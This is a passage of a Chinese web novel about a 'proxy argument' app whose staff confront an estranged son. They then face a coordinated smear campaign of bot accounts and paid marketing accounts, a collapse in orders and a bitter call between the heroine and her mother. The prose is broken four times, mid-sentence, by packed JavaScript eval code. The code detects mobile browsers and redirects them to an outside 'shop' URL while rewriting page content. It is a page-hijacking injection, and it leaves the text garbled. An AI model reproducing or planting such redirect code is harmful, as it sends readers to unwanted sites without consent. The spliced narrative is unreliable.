一米七五对一米七八,两个人面对面站着,气势上谁也不输谁。 吴小糖的T恤下面,手臂上的肌肉线条清晰可见。 林浩然愣了一下。 “你……你是什么人?” 吴小糖盯着他,一字一句说: “我是你爸妈的朋友!” / 林浩然的脸扭曲了。 “朋友?什么朋友?哦……代吵的人吧?!我爸把你们叫来的?” 吴小糖没说话,没承认也没否认。 林浩然冷笑。 “我就知道!我爸就会找外人!自己搞不定就找外人!” 他指着吴小糖。 “你算什么东西?我们家的事,轮得到你管?!” 吴小糖看着他。 “你继续说。” 林浩然被她这态度激怒了。 “我说怎么了?!我说错了吗?!” “你们代吵不就是帮人吵架的!帮人跟父母吵架!你们跟和解大师比,差——远——了!!” 吴小糖摇摇头。 “我不跟你吵这个。” 她往前走了一步。 “我问你,你知道你爸妈这一个月怎么过的吗?” / 林浩然愣住了。 “他们怎么过的,关我什么事?” 吴小糖盯着他。 “关你什么事?你妈眼睛哭得都肿成这样了!不关你的事?” 林浩然张了张嘴。 “你爸头发白了一圈!你是瞎了吗?没看见吗?!” 林浩然说不出话。 吴小糖继续说: “你把你爸妈拉黑了,他们联系不上你!你妈天天在家里哭,你爸天天盯着手机等你消息!他们吃不下饭,睡不着觉!你知道不知道?!” 林浩然的脸色变了。 “你少在这儿装好人!他们担心我?!他们要是担心我,为什么断我钱?!” 吴小糖看着他。 “断你钱,是因为怕你被骗!那20万,你转给谁了你知道吗?!” 林浩然说: “那是我的钱!我自己的钱!我想给谁给谁!!” “你自己的钱?!” 吴小糖的声音提高了。 “你从小到大,挣过一分钱吗?” 林浩然愣住了。 / 吴小糖往前走了一步。 “你爸开这个厂,二十年了!起早贪黑,一年到头没几天休息,他给你攒钱,给你存钱,每个月给你两万零花钱!他做这些,是为了什么?!” 林浩然说不出话。 “你妈照顾你二十多年!你小时候生病发烧,她抱着你整晚整晚不睡觉!把你养到这么大!她是为了什么?!” 林浩然的手开始发抖。 吴小糖看着他。 “你学了那么多‘原生家庭创伤’,学了那么多‘控制’‘操控’,那我问你,你爸妈做的这些,哪一件是控制?!” 林浩然的眼眶红了。 “他们就是控制!他们给我钱,就是想让我听他们的话!” 吴小糖摇摇头。 “那你现在听他们的话了吗?!” 林浩然说不出话。 / 吴小糖的声音又亮又稳。 “你知不知道,你爸妈最怕的是什么?!” 林浩然看着她。 吴小糖说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一米八五的个子,站在吴小糖面前,像一堵墙。 林浩然愣住了。 他身后的那个男的想往前,但看到应宽那个头,又缩回去了。 应宽看着林浩然,没说话。 只是站在那里。 林浩然的手停在半空,不敢落下。 同行的那个女的一直举着手机在拍。 / 林浩然站在那里,手举着,放也不是,不放也不是。 他的脸涨得通红,眼睛里全是血丝。 “你们……你们……” 他说不出话。 应宽看着他,终于开口了。 “打人,你就输了。” 林浩然的手慢慢放下来。 他的肩膀垮下去,整个人像泄了气的皮球。 吴小糖从应宽身后探出头,看着他。 “林浩然,你好好想想吧!” 林浩然没有说话。转身朝厂门口走去。 跟他一起的一男一女跟在他身后。 / 徐寄遥看了一眼拍视频的女的。 她还在拍,但拍的是林浩然的背影。 俞彩虹轻声说:“视频拍了不少。” 徐寄遥点点头。 她走到林国华身边,轻声说: “林先生,那我们就先走了,回去我们再研究一下方案,随时联系。” 林国华点点头,眼眶红红的。 “谢谢你们。” / 走出车间,阳光照在吴小糖身上。 她长长地出了一口气。 “累死了。” 应宽看着她,忽然说: “小糖你刚才很勇敢。” 吴小糖愣了一下,然后笑了。 “是吗?我都没注意。” 徐寄遥走过来,轻轻拍了拍她的肩。 “走吧,回去再说。” 四个人往外走。 厂门口,还看得到林浩然三人走远的身影。 39.舆论风暴 2025年6月24日,上午九点。 徐寄遥正在处理订单,应宽突然从电脑前抬起头。 “寄遥,你看这个。” 他的声音有点紧。 徐寄遥走过去。 屏幕上是一个短视频,封面是一张截图。 车间里,应宽站在吴小糖前面,对面是林浩然。 标题很刺眼: 《代吵师现场欺负人?二十岁男孩被围堵,父母冷眼旁观!》 吴小糖凑过来看了一眼,脸瞬间白了。 “这……这不是那天……” 徐寄遥按住她的手,点开播放。 视频只有一分多钟。 画面里,应宽一米八五的个子挡在前面,吴小糖一米七五站在他身后。林浩然站在对面,被衬得瘦弱单薄。 背景音被抹去了,换成了一段激昂悲怆的音乐。 画面跳转:林浩然抬手,像是要打人;镜头一晃,应宽挡在前面,林浩然的手放下来。 再跳转:林浩然站在那里,低着头,肩膀在抖;吴小糖和应宽站在对面,面无表情。 视频最后,一行字幕: “这就是所谓的代吵师?帮人吵架还是帮人欺负人?!二十岁男孩被父母联合外人围堵,求转发!” 播放量已经超过五十万。 评论区炸了。 “太过分了!几个大人欺负一个孩子?” “代吵师是什么东西?专门帮人吵架的?” “这种APP还有存在的必要吗?抵制!” 吴小糖的手在发抖。 “寄遥姐……” 徐寄遥没有说话。 她盯着屏幕,看着那些不断跳出来的新评论。 / 上午九点十五分。 应宽开始追踪视频源头。 “发布账号叫正义之声,注册时间今天早上六点。” 他敲了几下键盘。 “IP地址,博云加速。” 俞彩虹放下手里的书,走过来。 “博云加速?伯牙科技那家?” 应宽点点头。 “对,就是他们,伯牙科技的子公司。” 俞彩虹冷笑了一声。 “动作够快的,昨天的事,今天视频就曝出来了。” 应宽继续往下翻。 “这个视频已经被搬运到微博、小红书、抖音。” 他把几个平台的链接点开。 微博上,#代吵师欺负人#的话题已经创建,阅读量三百万。 小红书上,同样的视频,点赞过万。 抖音上,播放量已经突破一百万。 吴小糖一条一条往下翻。 评论区全是骂的。 “太恶心了!这种人还能开公司?” “人肉他们!让他们社死!” “那个女的站在后面,还好意思?” 她的脸色越来越白。 “寄遥姐,他们说的……根本不是事实啊!” 徐寄遥看着她。 “我知道。” / 上午九点四十五分。 应宽盯着屏幕上的数据。 “寄遥,不对劲。” 徐寄遥走过去。 应宽指着评论区。 “你看这些评论的账号。” 他点开几个头像。 “用户78432901” “用户78433015” “用户78432788” …… 全是“用户+八位数字”的格式。 俞彩虹凑过来看了一眼。 “职业水军,和之前那批一样。” 应宽点点头。 “注册时间都是今天早上六点到七点之间,第一条评论发出去之后,每个账号都刷了几十条。” 他继续往下翻。 “这些账号的点赞数也很可疑,骂我们的评论,每条都有几百个赞,质疑的评论,一条赞都没有。” 徐寄遥看着那些数字,没有说话。 她知道这意味着什么。 有人在花钱推。 / 上午十点。 微博话题#代吵师欺负人#冲上热搜第45位。 应宽刷新了一下。 “又升了,第42位。” 再刷新。 “第39位。” 吴小糖看不懂。 “为什么这么快?” 俞彩虹说: “热搜也可以买,和解大师不缺这点钱。” 应宽点开热搜榜,往下翻。 “不止微博,抖音、小红书、知乎,都在同步推。” 他把几个平台的截图调出来。 抖音热榜第47位。 小红书热搜第32位。 知乎热榜第21位。 吴小糖倒吸一口凉气。 “这么多平台……” 徐寄遥看着那些数据,沉默了几秒。 然后她说: “继续盯着。” / 上午十点半。 应宽发现了一个新情况。 “寄遥,有营销号下场了。” 他点开一个链接。 账号“每日热点”,粉丝八十多万。 发了一条长文: 《起底代吵师:专门帮人吵架的黑心机构》 文章里写着: “据知情人透露,代吵师APP的工作人员,经常用威胁手段对待求助者家属……” 应宽继续往下翻。 账号“真相观察”,粉丝六十多万。 发了一个短视频,标题: 《二十岁男孩被父母联合外人围堵,真相让人心寒》 视频里,把原视频又剪辑了一遍,加了一些煽情的字幕。 “疑似代吵APP的工作人员在现场叫嚣……” “男孩被逼到墙角,无人帮忙……” 账号“社会聚焦”,粉丝四十多万。 发了一篇长文: 《代吵师,你到底在吵什么?》 吴小糖一条一条看下去,拳头硬了。 “他们说的根本不是事实啊!” 应宽说:“这只是开始。” 他继续往下翻。 “还有这个。” 账号“热点快评”。 账号“真相挖掘机”。 账号“社会观察家”。 账号“民生直通车”。 十分钟之内,七个营销号下场。 / 上午十一点。 微博话题#代吵师欺负人#冲上热搜第22位。 更多的营销号开始跟进。 “娱乐早知道”发了。 “今日热搜”转了。 “热点追踪”评论了。 “真相调查组”深度解读了。 应宽一条一条记下来。 “寄遥,现在有十五个营销号了。” 徐寄遥没有说话。 她看着那些文章的标题,越来越离谱。 《代吵师黑历史:曾多次围堵求助者家属》 《独家调查:代吵师背后的灰色产业链》 《二十岁男孩被逼到墙角,代吵师的人在笑》 《起底代吵师:一个靠煽风点火赚钱的APP》 吴小糖气得浑身发抖。 “他们怎么能胡编乱造!” 俞彩虹轻轻叹了口气。 “小糖,这就是舆论战,谁花钱,谁就有话语权。” / 中午十二点。 微博话题#代吵师欺负人#冲上热搜第15位。 评论区已经彻底失控。 “这种人还有脸活着?” “代吵师是什么东西?专门帮人吵架的?” “这种APP就该下架!” 但也有人开始质疑。 “怎么突然冒出这么多营销号?” “同一个时间发,同一个调调,这也太巧了吧?” “水军痕迹太重了,有点假。” 但质疑的声音刚冒出来,就被新一轮的谩骂淹没了。 “洗地狗滚!” “代吵师雇的水军吧?” “拿了多少钱?带我一个!” 吴小糖看着那些评论,眼眶红了。 “寄遥姐!” 徐寄遥走过去,轻轻按住她的肩膀。 “别急。” / 下午一点。 话题#代吵师欺负人#冲上热搜第11位。 应宽刷新了一下。 “寄遥,热搜排名还在上升。” 他指着屏幕上的数据。 “话题参与人数已经超过三十万,讨论量突破一百万。” 俞彩虹看着那些数据。 “这个速度,不像是自然发酵。” 应宽点点头。 “有人在持续推。” 他点开几个新出现的帖子。 “你看,这些账号的发布时间。” “用户87234901”发了“代吵师滚出行业” “用户87234902”发了“坚决抵制代吵师” “用户87234903”发了“这种人还能开公司?” …… 全是“用户+八位数字”的格式。 注册时间都在今天中午。 俞彩虹冷笑。 “水军换了一批号,继续刷。” / 下午两点。 话题#代吵师欺负人# ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318597|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲上热搜第8位。 应宽盯着屏幕。 “寄遥,有媒体号开始转发了。” 他点开一个链接。 是一个叫“热点聚焦”的账号,粉丝三十多万。 他们转发了营销号的文章,配文: “代吵师事件持续发酵,你怎么看?” 评论区又是一波骂声。 应宽继续往下翻。 账号“社会观察”。 账号“民生关注”。 账号“真相追踪”。 账号“热点深度”。 一个一个,都在转发,都在评论。 吴小糖数了数。 “应宽哥,有多少个了?!” 应宽说: “媒体账号,目前有二十多个,营销号,三十多个。” 他顿了顿,推了推眼镜。 “还在增加。” / 下午三点。 话题#代吵师欺负人#冲上热搜第5位。 应宽刷新了一下。 “寄遥,阅读量突破两千万了。” 徐寄遥点点头。 她看着那些不断跳出来的新帖子,看着那些不断增加的转发量。 两千万阅读。 五十万讨论。 上百个账号参与。 从一条视频,到全网热点。 不到六个小时。 吴小糖看着那些数字,说不出话。 俞彩虹轻轻叹了口气。 “这就是舆论的传播机制,先有水军带节奏,再有营销号放大,再有媒体跟进,一层一层,像滚雪球一样。” 徐寄遥看着屏幕。 / 下午四点。 话题#代吵师欺负人#冲上热搜第3位。 应宽盯着屏幕。 “寄遥,热搜排名稳定在第三了。” 他指着数据。 “阅读量两千五百万,讨论量八十万,参与账号超过两百个。” 俞彩虹说: “这个量级,已经算全网热点了。” 吴小糖看着那些数据,忽然问: “那些人……他们真的相信那个视频吗?” 俞彩虹想了想。 “大部分人不关心真相,他们只关心情绪,视频让他们生气了,他们就骂,谁带节奏,他们就跟着谁走。” 她顿了顿。 “等热度过去,他们会忘了这件事,但骂过的那些话,不会在网上消失。” 吴小糖沉默了。 / 下午五点。 话题#代吵师欺负人#仍然在热搜第3位。 应宽刷新了一下。 “寄遥,排名没变,但参与人数还在增加。” 他指着数据。 “阅读量三千万,讨论量一百万。” 徐寄遥点点头。 她看着那些评论,看着那些帖子,看着那些不断跳出来的新内容。 骂声越来越大。 “代吵师滚出行业!” “这种APP还有人用?” “创始人出来挨骂!” 但没有一个声音,问一句:视频是真的吗? / 下午六点。 话题#代吵师欺负人#仍然在热搜第3位。 应宽盯着屏幕。 “寄遥,今天一天,话题从发布到热搜第三,一共九个小时,参与讨论的用户超过一百二十万。” 徐寄遥点点头。 她看着那些数据,沉默了很久。 九个小时。 一百二十万人。 无数条评论。 一条被扭曲的视频,就这样成了全网热点。 俞彩虹走过来,站在她旁边。 “在想什么?” 徐寄遥说: “我在想,如果没有那些水军,没有那些营销号,这件事会发酵成这样吗?” 俞彩虹想了想。 “不会,自然发酵的速度,不会这么快。” 徐寄遥点点头。 “所以,他们花了很多钱。” “很多钱。” / 晚上七点。 话题#代吵师欺负人#仍然在热搜第3位。 应宽刷新了一下。 “寄遥,阅读量三千五百万了。” 徐寄遥点点头。 她走到窗边,看着外面的夜色。 城市的灯光亮起来,一盏一盏。 她想起那些评论,那些骂声,那些被扭曲的视频。 九个小时,一条帖子变成全网热点。 一百二十万人参与,无数条评论。 这就是舆论风暴。 她转过身,看着屏幕。 风暴还在继续。 40.新一轮围攻 2025年6月25日,上午九点。 吴小糖习惯性地点开那个“心之愈·觉醒之路”的微信群。 消息发不出去。 屏幕上弹出一行字: “你已被移出群聊” 她愣住了。 “寄遥姐!” 徐寄遥走过来。 吴小糖把手机递给她。 “我被踢出来了。” 徐寄遥看了一眼,没说话。 吴小糖翻出李曼青的微信,发了一条消息: “李老师,为什么把我踢出来?” 消息发出去,很快有了回复。 不是文字,是一笔转账。 1000元。 吴小糖愣住了。 紧接着,李曼青的消息过来了: “吴小糖,你是什么身份,自己心里没数吗?” “代吵师的人,潜伏到我们群里,收集我们的聊天记录,截图发给你们的团队,你做的这些,以为我们不知道?” “钱退给你了,人也请你出去了,两清。” 吴小糖的脸白了。 她下意识地打字: “李老师,我不是……” 打到一半,她停住了。 她是什么? 她确实是代吵师的人。她确实在群里潜伏了一个月。她确实每天都在截图发给应宽。 李曼青说的,没有一句是假的。 她的手停在屏幕上,不知道该说什么。 / 过了好一会儿,她深吸一口气,打了一段话: “李老师,我承认我是代吵的人,但我在群里这一个月,亲眼看到了你们是怎么洗脑的!那些课程,那些话术,那些等级……你们就是在骗钱!” 对话框显示:对方正在输入中。 “林浩然交了20万,你们给了他什么?你们说的原生家庭创伤,让那么多人恨自己的父母,和父母断绝关系,你们想过那些人以后怎么办吗?” “我确实是在潜伏,但你们做的事,经得起推敲吗?” 再发出去。 红色感叹号。 消息被拒收了。 她被拉黑了。 / 吴小糖把手机递给徐寄遥。 “寄遥姐,我被拉黑了。” 徐寄遥看了一眼那段话,点了点头。 “说得挺好的。” 吴小糖愣了一下。 “挺好?” 徐寄遥看着她。 “你说的都是真话,真话不怕人说。” 吴小糖的眼眶红了。 “可是我被踢出来了,被拉黑了,什么都看不到了……” 俞彩虹走过来,轻轻拍了拍她的肩。 “小糖,你在那个群里一个月,该看的都看到了,该收集的证据也都收集了,出不出来,不影响。” 吴小糖点点头。 但心里还是有点空。 / 上午十点。 应宽开始调查昨天的舆论发酵情况。 他把数据一条一条调出来。 “寄遥,昨天一天,涉及我们的负面内容,总阅读量超过五千万。” “参与讨论的用户,保守估计一百五十万。” “营销号下场数量,我统计了一下,一共有四十七个。” 他把名单调出来。 “每日热点” “真相观察” “社会聚焦” “热点快评” “真相挖掘机” “社会观察家” “民生直通车” “娱乐早知道” “今日热搜” “热点追踪” “真相调查组” …… 吴小糖看着那一长串名字,倒吸一口凉气。 “这么多?” 应宽点点头。 “这只是第一波,还有第二波。” 他继续往下翻。 “媒体账号,一共二十三个。” “法治在线” “民生关注” “社会与法” “法治前沿” “社会热点追踪” “真相深度观察” …… 俞彩虹看着那些名字,冷笑了一声。 “这些账号,平时发的都是正经新闻,这次集体下场,拿了不少钱吧。” 应宽说: “不止这些,还有水军。” 他调出一份数据。 “昨天一天,新注册的‘用户+数字’格式的账号,一共两千三百个,这些账号总共发了六万多条评论,平均每个账号发了二十多条。” “他们的评论,90%是骂我们的,剩下10%是带节奏的。” 吴小糖看着那些数字,说不出话。 两千三百个账号。 六万多条评论。 这就是她昨天看到的那些骂声的来源。 / 应宽继续往下翻。 “我追踪了这些水军的IP地址。” 他调出一张图。 密密麻麻的线条,最终汇聚到同一个点。 “熟悉的配方,博云加速,伯牙科技的子公司。” 徐寄遥的眼睛眯了起来。 “又是他们。” 俞彩虹说: “昨天那场舆论风暴,显然是有人精心策划的。” 应宽点点头。 “水军、营销号、媒体,都是他们花钱买的,热搜也是他们推上去的。” 他看着徐寄遥。 “寄遥,这笔账,我们得记着。” 徐寄遥点头。 “记着。” / 上午十一点。 应宽刷新了一下网页。 然后他的脸色变了。 “寄遥,你看这个。” 徐寄遥走过去。 屏幕上是一个新的帖子,已经冲上了热搜第35位。 标题是: 《代吵师员工卧底和解大师用户群,聊天记录曝光》 点进去,是几张截图。 第一张,是吴小糖给李曼青发的消息: “李老师,为什么把我踢出来?” 第二张,是李曼青的回复和1000元转账截图。 第三张,是李曼青的那段话: “吴小糖,你是什么身份,自己心里没数吗?” “代吵师的人,潜伏到我们群里,收集我们的聊天记录,截图发给你们的团队,你做的这些,以为我们不知道?” “钱退给你了,人也请你出去了,两清。” 第四张,是吴小糖发的那段长文。 “李老师,我承认我是代吵师的人……” 吴小糖的脸瞬间白了。 “这……这是我昨天给李曼青发的!” 应宽点开评论区。 已经炸了。 “卧槽!代吵师的人卧底?” “这也太阴了吧?” “潜伏一个月?就为了收集证据?” “人家把钱都退给你了,你还发这么长一段骂人家?” 也有不同的声音。 “等等,心之愈是什么?为什么会有人卧底?” “这个李曼青是谁?为什么退钱?” “中间肯定有事,不然不会派人卧底。” 但这些声音,很快就被淹没了。 / 上午十一点半。 话题#代吵师卧底#冲上热搜第28位。 更多的营销号开始跟进。 “每日热点”发了: “代吵师又出事了!员工卧底和解大师用户群!” “真相观察”发了: “独家曝光:代吵师员工潜伏一个月,聊天记录流出!” “社会聚焦”发了: “代吵师和和解大师,到底什么仇什么怨?” 评论区风向开始变了。 之前骂“代吵师欺负人”的那些人,现在开始骂“代吵师阴险”。 “这种人太可怕了,表面一套背后一套。” “卧底?这是商业间谍吧?” “怪不得他们那么清楚心之愈的事,竟然派人去卧底!” / 中午十二点。 话题#代吵师卧底#冲上热搜第19位。 应宽盯着屏幕。 “寄遥,有人在推。” 他点开几个新出现的帖子。 “用户89234001”发了: “代吵师太恶心了,用这种下作手段!” “用户89234 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322292|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 002”发了: “抵制代吵师!这种公司就该倒闭!” “用户89234003”发了: “心之愈退钱退得挺爽快,代吵师呢?” …… 又是“用户+数字”的格式。 俞彩虹冷笑。 “水军又来了。” 应宽点点头。 “注册时间都是今天上午十一点左右,和昨天那批是同一个模板。” 吴小糖看着那些评论,手在发抖。 “寄遥姐,他们现在骂的是我……” 徐寄遥走过去,轻轻按住她的肩膀。 “不是你,是这件事。” 吴小糖摇摇头。 “可是截图里是我的名字,我的头像!” 徐寄遥看着她。 “小糖,你做的事,有错吗?” 吴小糖愣了一下。 “我在群里潜伏了一个月,是收集证据……” 徐寄遥说: “对,你做的事,是为了帮林浩然,为了帮那些被心之愈骗的人,你没有做错。” 吴小糖的眼眶红了。 / 下午一点。 话题#代吵师卧底#冲上热搜第12位。 应宽刷新了一下。 “话题热度还在上升。” 他把数据调出来。 “参与讨论的用户已经超过五十万,阅读量突破一千万。” 俞彩虹看着那些数据。 “和解大师那边,又在推。” 应宽点点头。 “他们抓住这个机会了。” 他点开几个新出现的帖子。 有营销号开始“深度解读”: 《代吵师和和解大师,两家APP的恩怨情仇》 《商业竞争还是道德沦丧?代吵师卧底事件深度解析》 《从‘欺负人’到‘卧底’,代吵师到底怎么了?》 吴小糖一条一条看下去,越看脸色越白。 “他们把我们说得像坏人一样!” 俞彩虹轻轻叹了口气。 “小糖,舆论就是这样,谁的故事讲得好,谁就能赢。” / 下午两点。 话题#代吵师卧底#冲上热搜第7位。 应宽盯着屏幕。 “两个话题同时在热搜上。” 他指了指。 #代吵师欺负人# 还在热搜第3位。 #代吵师卧底# 已经冲到第7位。 俞彩虹说: “双话题夹击,舆论压力会更大。” 吴小糖看着那些评论,不知道该说什么。 骂她的,骂代吵师的,骂徐寄遥的,什么都有。 “这种人也配叫代吵师?叫阴险师吧。” “潜伏一个月,就为了搞人家,太恶心了。” “代吵师的人,以后谁还敢信?” 她一条一条往下翻,翻到一条评论,停住了。 “我是那个厂的工人,那天的事,根本不是视频里那样,那个男孩是厂长儿子,他先砸了机器,又推了他妈,代吵师的几个人是厂长喊过来帮忙的!你们骂错人了。” 这条评论下面,跟了几十条回复。 “工人?又一个代吵师的水军?” “有证据吗?没证据就是造谣!” “这种洗地的,拿了不少钱吧?” 吴小糖的眼眶又红了。 那个工人,在帮他们说话。 可是没人信。 / 下午三点。 话题#代吵师卧底#冲上热搜第5位。 应宽盯着屏幕。 “寄遥,现在两个话题,一个第3,一个第5。” 徐寄遥点点头。 她看着那些数据,看着那些评论,看着那些不断跳出来的新帖子。 五千万阅读。 两百万讨论。 无数条骂声。 她知道,风暴还没有结束。 俞彩虹走过来,站在她旁边。 “接下来打算怎么办?” 徐寄遥想了想。 “等。” 俞彩虹看着她。 “等什么?” 徐寄遥说: “等他们把所有牌都打出来。” 41.订单雪崩 2025年6月29日,上午九点。 距离第一条视频发出,已经过去五天。 五天里,舆论像滚雪球一样越滚越大。 “代吵师欺负人”的热搜,在榜单上待了三天。 “代吵师员工卧底”的热搜,待了四天。 两个话题轮流上榜,轮流被推。 营销号发了上百篇文章。 自媒体做了几十个视频。 水军刷了几十万条评论。 内容越来越离谱。 “代吵师创始人徐寄遥,曾因诈骗被拘留”——假的。 “代吵师员工多人,都有犯罪前科”——假的。 “代吵师APP,专门教唆子女与父母断绝关系”——假的。 但没有人在乎真假。 骂就完了。 / 上午九点十五分。 应宽盯着后台数据,脸色很难看。 “寄遥,你过来看看。” 徐寄遥走过去。 屏幕上是一张图表。 订单量曲线,从6月24日开始,一路向下。 6月23日:日均订单2800单。 6月24日:2100单。 6月25日:1500单。 6月26日:900单。 6月27日:600单。 6月28日:400单。 昨天,6月28日,全天只有387单。 比六天前,跌了85%。 吴小糖凑过来看了一眼,倒吸一口凉气。 “跌了这么多……” 应宽点点头。 “还在跌……今天到现在,只有47单。” 他顿了顿。 “按这个速度,月底可能跌破100单。” / 上午九点半。 应宽开始做数据分析。 他把数据一条一条调出来。 “寄遥,你看这个。” 屏幕上是一张舆情趋势图。 “代吵师欺负人”的话题,6月24日阅读量5000万。 “代吵师员工卧底”的话题,6月25日阅读量4000万。 两个话题叠加,6月26日阅读量突破8000万。 应宽说: “五天时间,涉及我们的负面内容,总阅读量超过两亿。” 吴小糖愣住了。 “两亿?” 应宽点点头。 “两亿。” 他继续往下翻。 “参与讨论的用户,保守估计五百万。” “营销号下场数量,我统计了一下,一共一百二十七个。” 他把名单调出来。 密密麻麻的名字,铺满了整个屏幕。 “媒体账号,一共六十八个。” 又是一个长长的名单。 “水军账号,我追踪到的,超过五千个,他们发了至少五十万条评论。” 吴小糖看着那些数字,说不出话。 五千个账号。 五十万条评论。 两亿阅读量。 这就是五天时间里,他们面对的东西。 / 上午十点。 应宽把数据整理成一份报告。 “我总结一下。” 他指着屏幕。 “第一,舆论发酵的时间线:6月24日上午第一条视频出现,当天冲上热搜。6月25日卧底截图曝光,第二个话题冲上热搜。之后五天,两个话题轮流发酵,持续霸榜。” “第二,参与主体:营销号127个,自媒体68个,水军账号超过5000个。这些人共同制造了至少50万条负面评论。” “第三,传播效果:总阅读量超过2亿,参与讨论的用户超过500万。我们的品牌形象,在这五天里被彻底妖魔化。” “第四,商业影响:订单量从2800单跌到387单,跌幅85%。按这个趋势,月底可能跌破100单。” 他顿了顿。 “寄遥,这是我们面临的情况。” 徐寄遥看着那份报告,沉默了很久。 吴小糖在旁边,眼眶红了。 “寄遥姐……” 徐寄遥没有回头。 她只是看着那些数字,看着那条一直向下的曲线。 / 上午十点半。 手机响了。 来电显示:爸爸。 徐寄遥愣了一下。 她按下接听键。 “爸?” 电话那头传来的,是徐士朋的声音。 “遥遥,网上那些事,爸看到了,还好吗?” 徐寄遥的眼眶热了一下。 “爸,我没事,都是假的,有人在搞我们。” 徐士朋说: “爸知道。” 他顿了顿。 “你妈她……” 话没说完,电话那头传来一阵嘈杂。 何久红的声音插进来。 “把电话给我!” 一阵窸窸窣窣的声音后,何久红的声音炸开了。 “徐寄遥!你看看你干的好事!” 徐寄遥深吸一口气。 “妈。” “我问你!网上那些是不是真的?!” 徐寄遥说: “不是真的啊!有人在造谣!” “造谣?人家无缘无故造你谣?!你怎么不说你自己有问题?!” 徐寄遥没说话。 何久红的声音越来越大。 “我早就跟你说过!别搞那个什么APP!!好好上班不行吗?!年薪五十万不舒服吗?!非要自己创业!现在好了!名声搞臭了!被人骂成那样!!” / 徐寄遥的手握紧了手机。 “妈!这是我的工作!” “工作?你管这叫工作?”何久红的声音尖利得像刀子,“你知不知道我今天早上出门,邻居怎么看我?!王阿姨专门跑过来问我,你家遥遥怎么在网上被人骂成那样?!” “你知道我怎么回答的吗?!我恨不得找个地缝钻进去!” 徐寄遥的胸口剧烈起伏。 “妈,你听我说……” “听你说什么?!听你说你没错?!听你说都是别人害你?!”何久红根本不给她机会,“从小到大,你就是这样!什么事都不听我的!什么事都要自己拿主意!” “现在好了吧?!出事了!被人骂了!你满意了?!” / 徐寄遥的眼泪在眼眶里打转。 但她没让它流下来。 “妈,我在帮人。” “帮人?!帮人把自己帮成过街老鼠?!帮人帮到被人骂上热搜?!你帮的那些人呢?!现在怎么不出来帮你说话?!” 徐寄遥说: “他们不是不出来……” “是什么?!是你自己一厢情愿!你以为你是谁?!救世主吗?!” 何久红的声音越来越尖锐。 “我告诉你,徐寄遥,你今天这样,都是你自己作的!你要是听妈的话,老老实实上班,老老实实结婚,能有今天这些事吗?!” / 徐寄遥的手在发抖。 “妈,你别再说了。” 何久红愣住了。 “你说什么?” 徐寄遥的声音很轻,但每一个字都很清晰。 “我说,请你闭嘴。” 何久红愣了一下,然后更怒了。 “你反了天了?!敢这么跟妈妈说话?!” 徐寄遥深吸一口气。 “妈,你是我妈,我尊重你,但你不能这么骂我。” 何久红冷笑。 “不能骂你?我养你这么大,骂你几句怎么了?!” 徐寄遥说: “你骂了三十年,我忍了三十年,现在我不想忍了。” 何久红愣住了。 / 电话那头沉默了几秒。 然后何久红的声音再次响起,比之前更尖锐。 “你不想忍了?!你不想忍你想干什么?!跟我断绝关系?!徐寄遥我告诉你,你是我生的!你一辈子都是我女儿!你想跑?你跑得掉吗?!” 徐寄遥的眼泪终于流下来。 但她没哭出声。 “妈,我不会跑,但你也不能再这样骂我了。” 何久红说: “我骂你?我骂你是为你好!” 徐寄遥说: “你骂了三十年,我好了吗?” 何久红愣住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323118|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐寄遥说: “你骂我,我考上好学校,你说应该的。你骂我,我找到好工作,你说凑合。你骂我,我创业,你说我不听话。我做对了,你从来不夸。我做错了,你第一个骂。” 她顿了顿。 “妈,你到底想要我怎么样?” / 何久红沉默了很久。 然后她开口,声音冷了下来。 “徐寄遥,我最后问你一遍,那个APP,你关不关?” 徐寄遥说: “不关。” “你回不回来?” “不回。” “你听不听我的话?” “不听。” 何久红的声音彻底冷下来。 “你记住你今天说的话!” 徐寄遥说: “我记住了。” 电话挂了。 / 手机落在桌上,发出一声闷响。 吴小糖看着徐寄遥,眼眶红了。 “寄遥姐……” 徐寄遥站在那里,一动不动。 俞彩虹走过来,轻轻拍了拍她的肩。 “你妈那人,就这样,别往心里去。” 徐寄遥点点头。 但她没说话。 她走到窗边,背对着大家。 过了很久,吴小糖看到她抬手,在脸上擦了一下。 / 应宽站起来,走到饮水机旁边,接了一杯水。 他端着杯子,走到徐寄遥旁边。 “喝点水。” 